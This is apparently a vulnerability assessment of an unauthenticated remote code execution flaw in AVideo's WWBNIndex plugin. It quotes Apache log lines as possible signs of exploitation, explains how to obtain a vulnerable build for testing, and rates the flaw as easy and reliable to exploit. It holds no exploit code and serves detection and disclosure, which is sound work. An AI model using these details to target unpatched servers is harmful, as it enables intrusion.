./apache2/error.log:[Wed May 22 05:46:22.086186 2024] [php:error] [pid 14828] [client 172.16.199.1:49163] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.874976 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875069 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875100 2024] [php:error] [pid 14825] [client 172.16.199.1:49220] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"

Pay close attention to the apache error.log. This line indicates an attacker could have attempted to exploit the vulnerability but attempted to run a command that failed and thus the vulnerable require statement on line 6 of submitIndex.php that facilitates the RCE also failed:
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6

Also pay close attention to the apache access.log. This line indicates an attacker could have attempted to access the vulnerability:
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"

Note that the presence of both of the log lines highlighted above do not necessarily indicate the system has been compromised, they could be from normal operation. However on a compromised system, if an attacker did not clean up after themselves (delete those log files) it’s very likely traces like the ones mentioned above would be present.

Obtaining a Vulnerable version

The WWBNIndex Plugin is installed by default on the most recent patched versions. There is only one affected release (12.4) available for downloadon the official GitHub page and the vulnerable plugin does not exist in this release. The original exploit author doesn’t mention having to install the vulnerable plugin in order for the application to be vulnerable, they mention:

This particular vulnerability lies within the WWBNIndex plugin — a crucial component for the platform’s functionality

It seems as though all vulnerable versions have been removed from the GitHub release section. If you want to install a vulnerable version, please checkout the following branch on the AVideo GitHub page and install the application from there.

Attacker Value and Exploitability

I gave this vulnerability the Attacker Value and Exploitability values I did because of the unauthenticated unprivileged access it gives to an attacker. Also because of how easy the vulnerability is to exploit and for how reliable the exploit is.